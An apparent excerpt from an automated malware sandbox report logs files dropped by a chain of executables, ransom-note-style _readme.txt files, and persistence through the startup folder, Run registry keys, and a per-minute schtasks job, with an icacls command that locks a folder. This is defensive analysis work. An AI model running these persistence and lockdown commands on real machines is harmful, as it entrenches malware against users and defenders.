Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	File created: C:\Users\user\Desktop\a\alex.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\_MEI80242\win32\win32api.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\_MEI80242\_cffi_backend.cp312-win_amd64.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\voice5.13sert.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Desktop\a\wlanext.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\_MEI80242\_multiprocessing.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\pywin32_system32\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\spfasiazx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\3D003UC5\e0cbefcb1af40c7d4aff4aca26621a98[1].exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\build3.exe	File created: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\_MEI80242\_decimal.pyd.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\somzx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\Voiceaibeta-5.13.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\charset_normalizer\md.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\build3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\alex.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\build3.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\e0cbefcb1af40c7d4aff4aca26621a98[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\wlanext.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\Creal.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Start Menu\Programs\Startup\Creal.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	File created: C:\Users\user\Desktop\a\spfasiazx.exe.loqw (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\buildz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Util\_strxor.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\_readme.txt
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\$WinREAgent\_readme.txt
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\$WinREAgent\Scratch\_readme.txt
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\_readme.txt

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\a\build3.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior

Drops PE files to the startup folder

Source: C:\Users\user\Desktop\a\Creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\a\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN build3.exe /TR "C:\Users\user\Desktop\a\build3.exe" /F

Source: C:\Users\user\Desktop\a\Creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Source: C:\Users\user\Desktop\a\Creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Source: C:\Users\user\Desktop\a\buildz.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper
Source: C:\Users\user\Desktop\a\buildz.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D3C858 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00D3C858

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Users\user\Desktop\a\buildz.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
